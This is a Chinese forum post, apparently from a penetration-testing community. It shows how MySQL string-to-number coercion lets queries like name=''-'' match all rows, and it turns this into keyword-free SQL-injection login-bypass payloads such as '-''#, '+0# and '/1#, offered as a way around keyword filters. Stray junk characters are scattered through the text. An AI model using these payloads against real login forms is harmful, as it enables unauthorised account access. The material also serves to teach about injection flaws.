| 我们先来看这样一个场景。 有以下表结构: & i0 C6 i' L# o# p mysql> desc admin; +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra |, ^5 ~! j2 I) ?; U! L, C, X/ [ +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment | | name | char(32) | NO | UNI | NULL | |9 O* I" ]8 E. ? | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec)% q6 K, B6 L& R 执行select * from admin;,成功返回所有记录内容。 ! ?& d+ m# ]: B4 [$ r: Q & C( b( o' h" L9 g. E( D +----+--------+----------------------------------+8 @, K+ Q& N+ a | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |4 y) [; P/ ~* Y- V | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ L7 S, Y8 a, Q 3 rows in set (0.00 sec)" }/ o' \5 O* c# M" c 执行select * from admin where name=”;,没有匹配到任何记录。 h# a" x- `1 N! G9 a- `# }, ^ ; O8 l4 O$ X$ q! w mysql> select * from admin where name = ''; Empty set (0.00 sec) 那么我们来执行select * from admin where name = ”-”;4 y0 e/ Y O. w' @! _/ T + }, t2 b$ i, A +----+--------+----------------------------------+ | id | name | password | +----+--------+----------------------------------+6 F3 P) w7 ?% I( q4 y | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. J- ?: d2 t3 e | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+% l) i* O6 k0 [ 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: * Z8 | `2 n \- G" q% s# P mysql> show warnings; +---------+------+------------------------------------------ | Level | Code | Message% q N. `7 x [4 I4 c& r: k7 z +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s E, G3 w- d- Q% O: h& e | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------/ _2 P3 s; ^' y# G 3 rows in set (0.00 sec)7 p8 ]) F9 {9 U7 e S 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 2 B* F6 Q3 J1 K6 s5 P; J/ P mysql> select ''-'';/ L2 {; ?6 Y% J7 [4 m3 Z, w +-------+ | ''-'' |$ D: N& H* ]0 m0 _8 M% J +-------+ | 0 | +-------+ 1 row in set (0.00 sec)! L& \3 M# ^0 K, t# L4 O 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: # U7 @- q( n) ]% E# E! a9 e mysql> select CAST((select name from admin limit 1,1) as DECIMAL);4 }: Z9 M8 v# {# W$ w, k3 { +-----------------------------------------------------++ f* _+ O3 ?( e% a | CAST((select name from admin limit 1,1) as DECIMAL) |" i! ?& ?3 E- }! S9 K +-----------------------------------------------------+1 P) W& Z1 q. z) `) S7 O4 T | 0 |9 d6 `3 ^4 Y; n6 p& z +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 1 Z4 I/ }# Y$ M- D0 q) @ SQL注入场景: http://www.sqlzoo.net/hack/ 0 y) d+ T/ f$ c% O 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ' @+ G- R. ^ @; Z! x7 l7 U. P 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 4 u8 C3 c) R* s. X# ~ ) d# m1 s) _$ l 1 f% y' G6 w# E2 x 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 " o4 r" [3 q N# I" Q 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 6 s% y( S- @' W) K 5 I1 O! I1 k: I+ v2 b; U mysql> select ''/1; +------+ | ''/1 |, h) y9 w. t) u( t g( x0 e: I +------+ | 0 |* A- s" [; ~% O+ K +------+7 p {0 V* ~8 \* T1 J& C* s 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 " y3 U, D* s0 k# x2 a 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |